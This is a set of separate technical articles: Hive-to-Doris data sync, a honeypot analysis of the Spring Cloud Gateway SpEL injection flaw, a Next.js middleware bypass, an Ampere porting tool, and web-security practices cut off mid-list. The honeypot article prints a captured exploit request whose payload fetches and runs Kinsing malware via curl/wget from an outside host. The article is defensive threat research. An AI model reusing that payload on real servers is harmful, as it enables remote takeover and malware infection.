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In the realm of big data, Hive has long been a cornerstone for massive data warehousing and offline processing, while Apache Doris shines in real-time analytics and ad-hoc query scenarios with its robust OLAP capabilities. When enterprises aim to combine Hive’s storage prowess with Doris’s analytical agility, the challenge lies in efficiently and reliably syncing data between these two systems. This article provides a comprehensive guide to Hive-to-Doris data synchronization, covering use cases, technical solutions, model design, and performance optimization. Core Use Cases and Scope When target data resides in a Hive data warehouse and requires accelerated analysis via Doris’s OLAP capabilities, key scenarios include: Reporting and ad-hoc queries: Enable fast analytics through synchronization or federated queries.Unified data warehouse construction: Build layered data models in Doris to enhance query efficiency.Federated query acceleration: Directly access Hive tables from Doris to avoid frequent data ingestion. Technical Pathways and Synchronization Modes Synchronization Modes Full/Incremental sync: Suitable for low-update-frequency scenarios (e.g., log data, dimension tables) where a complete data model is needed in Doris.Federated query mode: Ideal for high-frequency, small-data-volume scenarios (e.g., real-time pricing data) to reduce storage costs and ingestion latency by querying Hive directly from Doris. Technical Solutions Overview Four mainstream approaches exist, chosen based on data volume, update frequency, and ETL complexity: In-Depth Analysis of Four Synchronization Solutions Broker Load: Asynchronous Sync for Large Datasets Core Principle Leverage Doris’s built-in Broker service to asynchronously load data from HDFS (where Hive data resides) into Doris, supporting full and incremental modes. Use Case Data scale: Suitable for datasets ranging from tens to hundreds of GB, stored in HDFS and accessible by Doris.Performance: Syncing a 5.8GB SSB dataset (60M rows) takes 140–164 seconds, achieving 370k–420k rows/sec (cluster-dependent). Key Operations:Table optimization: Temporarily set replication_num=1 during ingestion for speed, then adjust to 3 replicas for durability.Partition conversion: Convert Hive partition fields (e.g., yyyymm) to Doris-compatible date types using str_to_date.HA configuration: Include namenode addresses in WITH BROKER for HDFS high-availability setups. Doris On Hive: Low-Latency Federated Queries Core Principle Use a Catalog to access Hive metadata, enabling direct queries or INSERT INTO SELECT syncs. Use Case Small datasets (e.g., pricing tables) with frequent updates (minute-level), no pre-aggregation needed in Doris.Supports text, parquet, and ORC formats (Hive ≥ 2.3.7). Advantages:No data landing in Doris; direct join queries between Hive and Doris tables with sub-0.2-second latency. Spark Load: Performance Acceleration for Complex ETL Core Principle Offload data preprocessing to an external Spark cluster, reducing Doris’s computational pressure. Use Case Data cleaning: Complex data cleaning (e.g., multi-table JOINs, field transformations) with Spark accessing HDFSPerformance: 5.8GB synced in 137 seconds (440k rows/sec), outperforming Broker Load Configuration:Spark settings: Update Doris FE config (fe.conf) with spark_home and spark_resource_path: Shell enable_spark_load = true spark_home_default_dir = /opt/cloudera/parcels/CDH/lib/spark spark_resource_path = /opt/cloudera/parcels/CDH/lib/spark/spark-2x.zip External Resource Creation: SQL CREATE EXTERNAL RESOURCE "spark0" PROPERTIES ( "type" = "spark", "spark.master" = "yarn", "spark.submit.deployMode" = "cluster", "spark.executor.memory" = "1g", "spark.yarn.queue" = "queue0", "spark.hadoop.yarn.resourcemanager.address" = "hdfs://nodename:8032", "spark.hadoop.fs.defaultFS" = "hdfs://nodename:8020", "working_dir" = "hdfs://nodename:8020/tmp/doris", "broker" = "broker_name_1" ); DataX: Heterogeneous Data Source Compatibility Core Principle Use Alibaba’s open-source DataX tool with custom hdfsreader and doriswriter plugins. Use Case Non-standard file formats (e.g., CSV) or non-HA HDFS environments. Drawback: Lower performance (5.8GB in 1,421 seconds, 40k rows/sec) — use as a fallback. Configuration example: JSON { "job": { "content": [ { "reader": { "name": "hdfsreader", "parameter": { "path": "/data/ssb/*", "defaultFS": "hdfs://xxxx:9000", "fileType": "text" } }, "writer": { "name": "doriswriter", "parameter": { "feLoadUrl": ["xxxx:18040"], "database": "test", "table": "lineorder3" } } } ] } } Decision Tree for Solution Selection Priority: Broker Load  –  Large datasets (≥ 10GB), minimal ETL, high throughput needs.Second choice: Doris on Hive  –  Small datasets (< 1GB), frequent updates, federated query requirements.Complex ETL: Spark Load  –  Data preprocessing needed; leverage Spark cluster resources.Fallback: DataX  –  Special formats or network constraints; prioritize compatibility over performance. Data Modeling and Storage Optimization Data Model Selection Aggregate model: Ideal for log statistics; stores aggregated metrics by key to reduce data volume.Unique model: Ensures key uniqueness for slowly changing dimensions (equivalent to Replace in aggregate).Duplicate model: Stores raw data for multi-dimensional analysis without aggregation. Data Type Mapping String to Varchar: Use Varchar for Doris key columns (avoid String); reserve 3x Hive field length for Chinese characters.Type consistency: Convert Hive dates to Doris Date/DateTime and numeric types to Decimal/Float to avoid query-time conversions. Partitioning and Bucketing Strategies Partition keys: Reuse Hive partition fields (e.g., year-month) converted via str_to_date for pruning.Bucket keys: Choose high-cardinality fields (e.g., order ID); keep single bucket size under 10GB to avoid skew and segment limits (default ≤ 200). Performance Comparison and Best Practices Optimization Tips Small file merging: Use HDFS commands to merge small files and reduce Broker Load scanning.Model tuning: Use a Duplicate model for fast ingestion, then create materialized views for query speed.Monitoring: Track load status with SHOW LOAD in Doris. Conclusion Combining Hive and Doris unlocks synergies between offline storage and real-time analytics. By choosing the right sync strategy (prioritizing Broker/Spark Load), optimizing data models (using Aggregate for storage and bucketing for skew), and leveraging federated queries (Doris on Hive), enterprises can build efficient data architectures. Test with small datasets (e.g., SSB) before scaling to production, and stay updated with Doris community improvements (e.g., predicate pushdown) for ongoing performance gains.

API management has emerged as a critical and strategic factor in staying ahead of the market leaders. However, digital transformation has significant disadvantages, such as opening the door to hackers. Hackers have been quick to take advantage of a serious flaw in Spring Core, commonly known as SpringShell or Spring4Shell among security experts. The cybercriminal sends a specially created query to the Spring Core framework's web application server. Thankfully, the combination of reactive (defensive) and proactive(threat hunting) approaches can provide a solution to mitigate against the evolving cyber threat landscape. Remote Code Execution Vulnerability Targeting Spring Cloud Gateway In early 2022, a critical vulnerability (CVSS score: 10.0) was discovered in Spring Cloud Gateway. When the Gateway Actuator endpoint is enabled, exposed, and not properly secured, it opens the door to remote code injection. Attackers can exploit this flaw using the Actuator API to perform SpEL (Spring Expression Language) injection, potentially leading to full system compromise. Versions prior to 3.1.1 and 3.0.7 are affected (NVD - Cve-2022-22947, n.d.). In this way, a threat actor could exploit the vulnerability by making a maliciously crafted request and allowing the attackers to insert arbitrary remote code on the target host. Honeypot – Active Threat Hunting Honeypot is a tool with intentional misconfigurations and vulnerabilities to gather the tactics and methodology used by the threat actor to exploit digitally connected assets and target applications. Such a trap machine makes attackers believe it's an actual target profile without knowing they are being trapped and monitored. Think of it as: you open the door of your house and find out who is trying to knock on the door, who enters the house, and how they react. The primary purpose of a honeypot is to attract and interact with malicious actors, such as hackers and cybercriminals, to gather valuable information about their tactics, techniques, and tools. The collected data with contextual information can be used for threat intelligence, research, and improving overall cybersecurity defenses. The honeypot must be adapted to observing manual attacks while staying as elusive and transparent as possible to avoid their detection by the attackers. What Value Does a Honeypot Add to an Organization's Network Security? The following are a few key reasons for adding honeypots in the pipeline of an organization's cyber defense systems: Early detection of attacks: Pre-empt the cyber attacks before they reach the tangible assets.Threat Intelligence: Accurate threat intelligence to gain insights into new attacks, exploits, malware, tools, and techniques. Signature generation: Generate an antidote for the newly discovered attacks.Distraction: Trap hackers by redirecting them from actual assets.Security verification: Verify how secure the organization's environment is. Honeypot Types Before deploying a honeypot, it’s crucial to understand the various types and their strategic roles in threat detection. Types of attacked resources: Pre-empt cyber attacks before they reach critical assets. Client honeypot: Exploit client-side vulnerabilities, also called active honeypotServer honeypot: Exploit server-side vulnerabilities, also called passive honeypots Level of interaction: Accurate threat intelligence to gain insights into new attacks, exploits, malware, tools, and techniques. Low interaction: Provides an emulation environment to the hacker, with no tangible assets. Usually, simple to set up.High Interaction: Provides a real-environment and assets for more extended engagement with the hacker. Usually, costly to set up and maintain. Kinds of deployments: Generate an antidote for the newly discovered attacks. Production honeypot: To deceive hackers in a production network and protect tangible assets. Research honeypot: For a deeper understanding of hackers' tactics. Usually, hackers can "jailbreak into" full-blown tangible assets. Implementation: Gathering PoC Exploits and Malware Figure 1 shows the emulation environment in a low interaction honeypot to engage the threat actor and to gather exploits and malware targeting Spring Cloud Gateway applications. Figure 1: Basic Workflow of Honeypot Emulation Network Traffic Analysis The attacker sends a Post Request + JSON code to create a new route in the Spring Cloud Gateway, and with the JSON CONFIG FILE, it configures the RESPONSE HEADER of that route. Step 1: Figure 2 illustrates the “Post” request and response communication extracted from PCAP dump files using deep packet inspection. Figure 2: “Post” request and response communication Step 2: Triggers config reload via Spring Gateway /actuator/gateway/refresh endpoint, which may allow attackers to apply malicious configuration changes if not properly secured (Refer to Figure 3). Figure 3: The Config_file Step 3: Figure 4 shows the remote command execution to fetch the created route to confirm command execution via SpEL injection (e.g., uid=0(root)). Figure 4: Command Execution via SpEL injection Step 4: Figure 5 shows the deletion of the created route to avoid the detection. Figure 5: Hiding Trace to Avoid Detection Decoded Base64 Shell Code Once the Base64 script is decoded, a URL has an embedded script, as shown in Figure 6. Once the script is manually downloaded in a controlled, isolated environment using the wget command on a Linux machine, it contains malware known as “KINSING MALWARE”. Java POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1Host: 180.188.253.170:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Connection: close Content-Length: 411 Content-Type: application/json Accept-Encoding: gzip { "id": "BuOHOGeywH", "filters": [{ "name": "AddResponseHeader", "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"} }], "uri": "http://example.com", "order": 0 } Figure 6: Detected Kinsing Malware Family The “KINSING MALWARE” is analyzed using VirusTotal API as shown in figure 7 and a threat score of 39/66 is given by AV scanners. Figure 7: Virustotal Analysis of Collected Malware Sample Remedial and Recommendations Enhanced protection with next-generation firewall and configure the protection rule sets against SpringShell vulnerabilities and exploits.Deploy regional or commercial Azure Application Gateway. Enable WAF rules specifically designed to defend against SpringShell exploits.our strongest defense is upgrading to the latest patched version of Spring Security. Developers should also test for consistent response times, regardless of whether login credentials are valid, to avoid leaking clues to attackers.Install the latest Anti-virus scanners and periodically update the signature database of AV scanners.Practice active threat hunting instead of complete dependence on a reactive security approach. Educate users and staff about the cyber hygiene practices. Reference 1. NVD - cve-2022-22947. (n.d.). https://nvd.nist.gov/vuln/detail/cve-2022-22947

Web development in 2025 has evolved at an incredible pace. We’ve gone from clunky monoliths to sleek, scalable apps powered by frameworks like Next.js, which millions of developers now rely on for building modern, server-rendered React applications. But as our tools get more advanced, so do the threats. In early 2025, a middleware bypass vulnerability was discovered that shook the faith of several developers who had relied on Next.js middleware to safeguard their app's most sensitive routes. The bug was insidious, simple to miss, and perilously easy to attack. Here's what occurred—and more importantly, what you need to learn from it. The Vulnerability That Fell Through the Cracks To grasp this problem, we have to take a glance at how middleware operates in Next.js. Middleware in Next.js is meant to be executed before a request hits a particular route. It's commonly utilized for operations such as authentication verification, logging, redirects, and more logic that must be executed globally or conditionally. The vulnerability occurs when rewrites are used in combination with middleware. For example: JavaScript // middleware.ts export function middleware(req) { if (!req.cookies.token) { return NextResponse.redirect('/login'); } } And in your config: JavaScript // next.config.js rewrites: [ { source: '/dashboard', destination: '/api/internal/dashboard' } ] Here’s the catch: if the rewritten destination path doesn’t match the conditions defined for the middleware, the middleware never runs. So, in some cases, a user could bypass the intended authentication check completely and access internal API routes directly. Why This Should Concern You The problem wasn’t with some obscure, outdated dependency—it was in a framework that many of us use in production environments every day. That’s what makes this so alarming. While the bug itself was patched in recent versions of Next.js, the implications run deeper: Security assumptions break easily. Middleware logic assumes routes will always pass through it. That’s not always true.Modern frameworks abstract a lot of complexity. This makes it easy for developers to miss subtle behaviors, especially with rewrites and edge functions.Serverless and edge computing make debugging more difficult. Code might behave differently depending on whether it’s deployed to Vercel, AWS Lambda, or a traditional server. When we rely on frameworks to "just work," we sometimes forget to ask how they're working behind the scenes—and whether security checks are running as intended. Not Just a One-Off This isn’t the only time we’ve seen path rewrites or middleware logic lead to security flaws. Let’s take a look at a few recent cases that echo similar concerns: In February 2025, a misconfigured reverse proxy in a popular Nginx-based Docker image enabled attackers to bypass authentication headers entirely by modifying the path in a GET request.Discovered in December 2024, this flaw allowed top-level routes (e.g. /admin) to bypass authorization even when deeper routes (/admin/users) were protected. The root cause was incorrect path-matching logic in the middleware matching configuration.And one of the more high-profile examples: the Okta breach of 2023, which partly stemmed from flawed assumptions about token verification flows through middleware layers in identity and access systems. The lesson here? Middleware is powerful—but it’s not infallible. How to Protect Yourself (and Your App) If you're using Next.js, especially with rewrites or API route proxies, here are a few things you can do right now to make sure you're not vulnerable to the same issues: 1. Update Next.js Make sure your app is running the latest stable release. The middleware bypass bug has been patched, but outdated dependencies are still shockingly common in live apps. 2. Reevaluate Your Middleware Coverage Check if your middleware runs on rewritten routes. Use logging inside middleware files and test with curl or Postman to validate that requests aren’t silently skipping checks. 3. Avoid Overreliance on Rewrites While rewrites can be convenient for proxying or hiding internal endpoints, consider whether a redirect or server-side logic would offer more predictable security behavior. 4. Add Redundant Security Layers Even if middleware fails, your actual API routes should have authentication checks too. Don’t rely on middleware alone to gate access. 5. Log and Monitor Edge Requests If you're deploying on edge platforms such as Vercel, Netlify, or Cloudflare, ensure that you're logging at the edge level. Oftentimes, vulnerabilities only manifest themselves under particular request patterns. Bigger Picture: Are We Chasing Convenience at the Cost of Security? The core appeal of frameworks like Next.js lies in their ability to abstract complexity. Developers don’t need to manage routing, caching, and even rendering logic anymore. But when that abstraction hides how and when your security layers operate, things can go wrong fast. This is a broader issue we’re seeing across the software landscape in 2025: Convenience-first development is growing faster than secure-by-default coding practices.DevSecOps still isn’t mainstream in smaller teams or fast-moving startups.Edge computing and microservices have created thousands of tiny attack surfaces, and it's not always clear who owns which part of the pipeline. Final Thoughts This Next.js vulnerability may be patched, but it leaves behind an important question: Are we truly in control of the tools we rely on? Or are we blindly trusting framework behavior that we haven’t fully audited? If there’s one takeaway from this issue, it’s this: Always verify that your security assumptions hold true—not just in theory, but in practice. The web is evolving, and so are the threats. It’s up to us, as developers and security professionals, to stay one step ahead—not by fear-mongering, but by understanding the mechanics of the frameworks we love.

The demand for efficient software porting solutions is increasing. With the transition from legacy x86 to Arm64 — and particularly Ampere processors — gaining momentum, developers are looking for ways to expedite the migration of existing codebases. The Ampere Porting Advisor, available via Github's page, is intended to assist with this process. The tool provides a streamlined migration process, allowing developers to save time and effort. It automates many of the manual steps involved in porting code, reducing the risk of errors, and ensuring consistency throughout the migration. By analyzing the source code, the advisor provides detailed insights into the required changes, highlights potential pitfalls, and recommends optimal modifications. This guidance enables developers to navigate the intricacies of transitioning between architectures more efficiently, and accelerates the overall migration process. The Arm64 architecture has gained significant traction across various software packages, by leveraging the software porting advisor, developers can tap into this expanding ecosystem and take advantage of the benefits offered by Arm64-based platforms. The advisor is a static command-line tool that analyzes the make environment and source code for known code patterns and dependency libraries and generates a report with incompatibilities and recommendations. The advisor includes the following features: Language support: Python 3+, Java 8+, Go 1.11+, C, C++, FortranArchitecture specific code detection: missing corresponding AAarch64 assembly, architecture specific instructions, and architecture specific flags in make files.Dependency checks: for versioning, JAR scanning, and dependency files.Easy to run: via python script, binary, or containers.Multiple output formats: terminal for quick checks, html for easy distribution, and CSV for post-processing. Getting Started With the Ampere(R) Porting Advisor The Ampere Porting Advisor is a fork of the Porting Advisor for Graviton, an open-source project from AWS, which, in turn, is a fork of the Arm High Performance Computing group's Porting Advisor. Originally, it was coded as a Python module that analyzed known incompatibilities in C and Fortran code. This tutorial walks you through building and using the tool and explains how to address issues it identifies. The Ampere Porting Advisor is a command line tool that analyzes source code for known code patterns and dependency libraries. It then generates a report with any incompatibilities with Ampere's processors. This tool provides suggestions of minimal required and/or recommended versions to run on Ampere processors for both language runtime and dependency libraries. It can be run on non-Arm64-based machines (like Intel and AMD) and Ampere processors are not required. This tool does not work on binaries, only source code. It does not make any code modifications, it doesn't make API level recommendations, nor does it send data back to Ampere. PLEASE NOTE: Even though we do our best to find known incompatibilities, we still recommend performing the appropriate tests to your application on a system based on Ampere processors before going to production. This tool scans all files in a source tree, regardless of whether they are included by the build system or not. As such, it may erroneously report issues in files that appear in the source tree but are excluded by the build system. Currently, the tool supports the following languages/dependencies: Python 3+ Python versionPIP versionDependency versions in requirements.txt fileJava 8+ Java versionDependency versions in pom.xml fileJAR scanning for native method calls (requires JAVA to be installed)Go 1.11+ Go versionDependency versions on go.mod fileC, C++, Fortran Inline assembly with no corresponding aarch64 inline assembly.Assembly source files with no corresponding aarch64 assembly source files.Missing aarch64 architecture detection in autoconf config.guess scripts.Linking against libraries that are not available on the aarch64 architecture.Use of architecture specific intrinsic.Preprocessor errors that trigger when compiling on aarch64.Use of old Visual C++ runtime (Windows specific).The following types of issues are detected, but not reported by default: Compiler specific code guarded by compiler specific pre-defined macros.The following types of cross-compile specific issues are detected, but not reported by default. Architecture detection that depends on the host rather than the target.Use of build artifacts in the build process. For more information on how to modify issues reported, use the tool's built-in help: ./porting-advisor-linux-x86_64 -–help If you run into any issues, see the CONTRIBUTING file in the project’s GitHub repository. Running the Ampere Porting Advisor as a Container By using this option, you don't need to worry about Python or Java versions, or any other dependency that the tool needs. This is the quickest way to get started. Pre-requisites: Docker or containerd + nerdctl + buildkit Build Container Image NOTE: if using containerd, you can substitute docker with nerdctl docker build -t porting-advisor . NOTE: on Windows you might need to run these commands to avoid bash scripts having their line ends changed to CRLF: git config core.autocrlf falsegit reset --hard Run Container Image After building the image, we can run the tool as a container. We use -v to mount a volume from our host machine to the container. We can run it directly to console: Dockerfile docker run --rm -v my/repo/path:/repo porting-advisor /repo Or generate a report: Dockerfile docker run --rm -v my/repo/path:/repo -v my/output:/output porting-advisor /repo --output /output/report.html Windows example: Dockerfile docker run --rm -v /c/Users/myuser/repo:/repo -v /c/Users/myuser/output:/output porting-advisor /repo --output /output/report.html Running the Ampere Porting Advisor as a Python Script Pre-requisites: Python 3.10 or above (with PIP3 and venv module installed).(Optionally) Open JDK 17 (or above) and Maven 3.5 (or above) if you want to scan JAR files for native methods.Unzip and jq is required to run test cases. Enable Python Environment Linux/Mac: Python python3 -m venv .venv source .venv/bin/activate Powershell: Python python -m venv .venv .\.venv\Scripts\Activate.ps1 Install requirements: pip3 install -r requirements.txt Run tool (console output): python3 src/porting-advisor.py ~/my/path/to/my/repo Run tool (HTML report): python3 src/porting-advisor.py ~/my/path/to/my/repo --output report.html Running the Ampere Porting Advisor as a Binary Generating the Binary Pre-requisites: Python 3.10 or above (with PIP3 and venv module installed).(Optionally) Open JDK 17 (or above) and Maven 3.5 (or above) if you want the binary to be able to scan JAR files for native methods. The build.sh script will generate a self-contained binary (for Linux/MacOS). It will be output to a folder called dist. By default, it will generate a binary named like porting-advisor-linux-x86_64. You can customize generated filename by setting environment variable FILE_NAME. Shell ./build.sh For Windows, the Build.ps1 will generate a folder with an EXE and all the files it requires to run. Shell .\Build.ps1 Running the Binary Pre-requisites: Once you have the binary generated, it will only require Java 11 Runtime (or above) if you want to scan JAR files for native methods. Otherwise, the file is self-contained and doesn't need Python to run. Default behavior, console output: Shell $ ./porting-advisor-linux-x86_64 ~/my/path/to/my/repo Generating HTML report: Shell $ ./porting-advisor-linux-x86_64 ~/my/path/to/my/repo --output report.html Generating a report of just dependencies (this creates an Excel file with just the dependencies we found on the repo, no suggestions provided): Shell $ ./porting-advisor-linux-x86_64 ~/my/path/to/my/repo --output dependencies.xlsx --output-format dependencies Understanding an Ampere Porting Advisor Report Here is an example of the output report generated with a sample project: Go ./dist/porting-advisor-linux-x86_64 ./sample-projects/ | Elapsed Time: 0:00:03 Porting Advisor for Ampere Processor v1.0.0 Report date: 2023-05-10 11:31:52 13 files scanned. detected go code. min version 1.16 is required. version 1.18 or above is recommended. we detected that you have version 1.19. see https://github.com/AmpereComputing/ampere-porting-advisor/blob/main/doc/golang.md for more details. detected python code. if you need pip, version 19.3 or above is recommended. we detected that you have version 22.3.1 detected python code. min version 3.7.5 is required. we detected that you have version 3.10.9. see https://github.com/AmpereComputing/ampere-porting-advisor/blob/main/doc/python.md for more details. ./sample-projects/java-samples/pom.xml: dependency library: leveldbjni-all is not supported on Ampere processor. ./sample-projects/java-samples/pom.xml: using dependency library snappy-java version 1.1.3. upgrade to at least version 1.1.4 ./sample-projects/java-samples/pom.xml: using dependency library zstd-jni version 1.1.0. upgrade to at least version 1.2.0 ./sample-projects/python-samples/incompatible/requirements.txt:3: using dependency library OpenBLAS version 0.3.16. upgrade to at least version 0.3.17 detected go code. min version 1.16 is required. version 1.18 or above is recommended. we detected that you have version 1.19. see https://github.com/AmpereComputing/ampere-porting-advisor/blob/main/doc/golang.md for more details. ./sample-projects/java-samples/pom.xml: using dependency library hadoop-lzo. this library requires a manual build more info at: https://github.com/AmpereComputing/ampere-porting-advisor/blob/main/doc/java.md#building-jar-libraries-manually ./sample-projects/python-samples/incompatible/requirements.txt:5: dependency library NumPy is present. min version 1.19.0 is required. detected java code. min version 8 is required. version 17 or above is recommended. see https://github.com/AmpereComputing/ampere-porting-advisor/blob/main/doc/java.md for more details. Use --output FILENAME.html to generate an HTML report. In the report, we see several language runtimes (Python, pip, golang, Java) and their versions detected. All these messages communicate the minimum version and recommended version for these languages. Some of these lines detect that prerequisite versions have been found and are purely informative. We also see some messages from the dependencies detected in the Project Object Model (POM) or a Java project. These are dependencies that will be downloaded and used as part of a Maven build process, and we see three types of actionable messages: Dependency Requires More Recent Version ./sample-projects/java-samples/pom.xml: using dependency library snappy-java version 1.1.3. upgrade to at least version 1.1.4 Messages of this type indicate that we should use a more recent version of the dependency, which will require rebuilding and validation of the project before continuing Dependency Requires a Manual Build ./sample-projects/java-samples/pom.xml: using dependency library hadoop-lzo. this library requires a manual build more info at: https://github.com/AmpereComputing/ampere-porting-advisor/blob/main/doc/java.md#building-jar-libraries-manually In this case, a dependency does support the architecture, but for some reason (perhaps to test hardware features available and build an optimized version of the project for the target platform) the project must be manually rebuilt rather than relying on a pre-existing binary artifact Dependency Is Not Available on This Architecture ./sample-projects/java-samples/pom.xml: dependency library: leveldbjni-all is not supported on Ampere processor. In this case, the project is specified as a dependency but is not available for the Ampere platform. In this case, an engineer may have to examine what is involved in making the code from the dependency compile correctly on the target platform. This process can be simple but may also take considerable time and effort. Alternatively, you can adapt your project to use an alternative package providing similar functionality which does support the Ampere architecture and modify your project’s code appropriately to use this alternative. A Transition Example for C/C++ MEGAHIT is an NGS assembler tool available as a binary for x86_64. A customer wanted to run MEGAHIT on Arm64 as part of an architecture transition. But the compilation failed on Arm64 in the first file: The developer wanted to know what needed to be changed to make MEGAHIT compile correctly on Arm64. In this case, Ampere Porting Advisor (APA) can play a key role. After scanning the source repository of the MEGAHIT project with APA, we get a list of issues that need to be checked before rebuilding MEGAHIT on Arm64: Let’s investigate each error type in the list and correct them for Arm64 if necessary. Architecture-Specific Build Options These errors will be triggered once APA detected build options not valid on Arm64. The original CMakeList.txt is using x86_64 compile flags by default without checking CPU Architectures. To fix this, we can test a CMAKE_SYSTEM_PROCESSOR condition to make sure the flags reported by APA will be only applied to x86_64 architectures. Architecture-Specific Instructions The architecture specific instructions error is triggered when APA detected non-Arm64 C-style functions being used in the code. Intrinsic instructions are compiled by the compiler directly into platform-specific assembly code, and typically each platform will have their own set of intrinsics and assembly code instructions optimized for that platform. In this case, we can make the use of pre-processor conditionals to only compile the _pdep_u32/64 and __cpuid/ex instructions when #if defined(x86_64) is true for the HasPopcnt() and HasBmi2() functions. For vec_vsx_ld, it is already wrapped in a pre-processor conditional, and will only be compiled on Power PC architecture, so we can leave it as is. Architecture-Specific Inline Assembly The architecture specific instructions error is also triggered when APA detected assembly code being used in the code. We need to check whether the snippet of assembly code is for Arm64 or not. The MEGAHIT project only uses the bswap assembly code in phmap_bits.h when it is being compiled on the x86_64 architecture. When being compiled on other architectures, it compiles a fall-back implementation from glibc. So no changes are required in phmap_bits.h. In cpu_dispatch.h,two inline functions HasPopcnt() and HasBmi2() unconditionally include the x86_64 assembly instruction cpuid to test for CPU features on x86_64. We can add a precompiler conditional flag #if defined(__x86_64__) to make sure this code is not called on Arm64, and we will always return false. Architecture-Specific SIMD Intrinsic The architecture specific instructions error will be triggered once APA detected x86_64 SIMD instructions like AVX256 or AVX512 being used in the code. These SIMD instructions are wrapped by precompiler conditional flags and will usually not cause any functionality issue on Arm64. If there were no SIMD implementation of the algorithm for Arm64, there could be a performance gap compared to x86_64. In this case, there is a NEON SIMD implementation for Arm64 in xxh3.h and this implementation will be cherry picked by the compiler based on the CPU architecture. No further actions need to be taken. Preprocessor Error on AArch64 The preprocessor error will be triggered by APA to indicate that the Arm64 architecture may not be included in a pre-compile stage. In this case, we can see that the pre-compile conditional is for x86_64 only and does not concern the Arm64 architecture. Rebuild and Test Once all these adjustments have been made, we could rebuild the project: The project compiled successfully. We then checked whether it passed the project’s test suite: After we have manually checked and fixed all the potential pitfalls reported by APA, MEGAHIT is now able to build and run on Ampere processors. Conclusion Migrating code from x86 to AArch64 architecture does not have to be an intimidating process. The software porting advisor significantly reduces development costs by automating various tasks involved in the migration. By minimizing the need for manual intervention, developers can allocate their time and resources to other critical aspects of the project. Furthermore, the advisor's comprehensive analysis and recommendations reduce the risk of post-migration issues, eliminating the need for extensive troubleshooting after deployment. The introduction of the new Ampere Porting Advisor provides a significant advancement in simplifying the migration of x86 code to AArch64 architecture. By streamlining the migration process, reducing development costs, and enabling access to a wider ecosystem, the advisor empowers developers to embrace the benefits of the AArch64 architecture more quickly and effectively.

Applications related to the web enable business, e-commerce, and user interactions to be the backbones of the e-world of a more and more digital world. In this growth, there is one thing that has gone up, and that is web application security. Insecure web applications can lead to severe consequences such as data breaches and ransomware attacks, resulting in significant financial losses, legal liabilities, and reputational damage. Given the growing sophistication of cyber threats, it's crucial for both developers and business stakeholders to prioritize security from day one. This blog outlines 11 essential best practices for web application development to help you build robust, resilient, and attack-resistant systems. Common Web Application Security Threats Understanding the nature of common security threats is equally important, as it allows developers to proactively defend against them. Some of the most prevalent and dangerous vulnerabilities include: SQL Injection: Backend databases are tampered with by attackers through unsanitized inputs made by users.Cross-Site Scripting (XSS): Attackers embed harmful code into otherwise legitimate websites, causing the site to unknowingly deliver malicious scripts to users.Cross-Site Request Forgery (CSRF): Users are tricked into performing unwanted actions while authenticated.Broken Authentication: Weaknesses in authentication processes that enable malicious users to gain unauthorized access.Insecure Deserialization: Manipulating the deserialization process of objects to trigger unintended actions or run unauthorized code.Security Misconfiguration: Unsecured servers or unpatched servers that allow open ports or overly open settings. This ensures that the web application can handle current patterns and trends of cybersecurity threats by applying best practices for web app development. Web Application Security: 11 Must-Follow Development Practices In today’s digital world, keeping web applications secure isn’t just a nice-to-have—it’s a must. With threats constantly evolving, developers need to take security seriously right from the start. Here are 11 practical best practices for building secure web apps. These tips can help protect the application, safeguard user data, and maintain trust across the board. 1. Implement Strong Authentication and Authorization Auth combines authentication (verifying who a user is) and authorization (deciding what they’re allowed to do). One of the most common security issues comes from weak passwords and incorrect permission settings, which can open the door to serious vulnerabilities. Best Practices: Use multi-factor authentication (MFA).Hashing algorithms, such as bcrypt or Argon2, should be used to store passwords securely.Employ OAuth 2.0 or OpenID Connect for delegated authorization.Limit user permissions strictly to what is necessary for their tasks, minimizing potential security risks. 2. Secure Data Transmission with HTTPS Plain HTTP traffic leaves data exposed to tampering, interception, and eavesdropping. Using Transport Layer Security (TLS) encrypts the data exchanged between the client and server, helping ensure secure and private communication. Best Practices: Always enforce HTTPS.Use HSTS (HTTP Strict Transport Security) headers.Regularly renew and update SSL/TLS certificates.Avoid outdated protocols like SSL 3.0 and weak ciphers. 3. Validate and Sanitize All Inputs Injection attacks like SQL Injection and Cross-Site Scripting (XSS) occur when user input is not properly validated. Through these attacks, the attackers are able to alter queries of scripts to have unauthorized access or take malicious actions. Best Practices: Implement server-side validation to complement client-side checks, ensuring data integrity and protecting against malicious input that may bypass browser-based defenses.Apply input sanitization and escaping to filter malicious content.Utilize parameterized queries or prepared statements when interacting with databases to prevent SQL injection and ensure secure handling of user input.Sanitize file uploads and limit allowed file types. 4. Adopt Secure Session Management Sessions are vulnerable to hijacking if not properly secured. In case attackers get the session tokens, they will be able to pose as users and seize their accounts. Best Practices: Use secure, random session identifiers.Implement session expiration and timeouts.Store session data safely and do not use the URL-based session IDs.Use the Secure and HttpOnly flags for cookies. 5. Follow Secure Coding Guidelines Coding errors often open doors to critical vulnerabilities. Adhering to safe coding standards provides a good base upon which your application can be developed. Best Practices: Adopt the OWASP Secure Coding Practices checklist.Avoid exposing detailed error messages in production.Use secure frameworks and libraries vetted by the community.Conduct code reviews and security audits frequently. 6. Applying the Principle of Least Privilege (PoLP) Every component in your application—whether a user, API, or service—should have only the minimum privileges necessary to perform its task. Over-permissioned roles are easy targets for attackers. Best Practices: Limit database user privileges.Restrict access to internal APIs and admin endpoints.Separate development, staging, and production environments with distinct roles.Regularly audit access controls and permissions. 7. Secure APIs and Third-Party Integrations Modern web applications heavily rely on APIs and third-party services. These can be exploited if not adequately secured. Best Practices: Secure API Access with Authentication Mechanisms like API Keys, Tokens, or OAuthValidate incoming requests and implement rate limiting.Enable CORS (Cross-Origin Resource Sharing) appropriately.Vet third-party libraries for known vulnerabilities and keep them updated. 8. Perform Regular Security Testing Even well-coded applications can contain hidden vulnerabilities. Security testing is essential for identifying and fixing issues before they are exploited. Best Practices: Conduct penetration testing regularly.Leverage SAST and DAST tools to identify security vulnerabilities during development and runtime.Employ automated vulnerability scanners like OWASP ZAP, Burp Suite, or Nessus.Run regression tests after patching security flaws. 9. Monitor and Log Security Events Enable real-time monitoring to swiftly detect and address security incidents as they happen. Logs offer invaluable insights during a post-breach 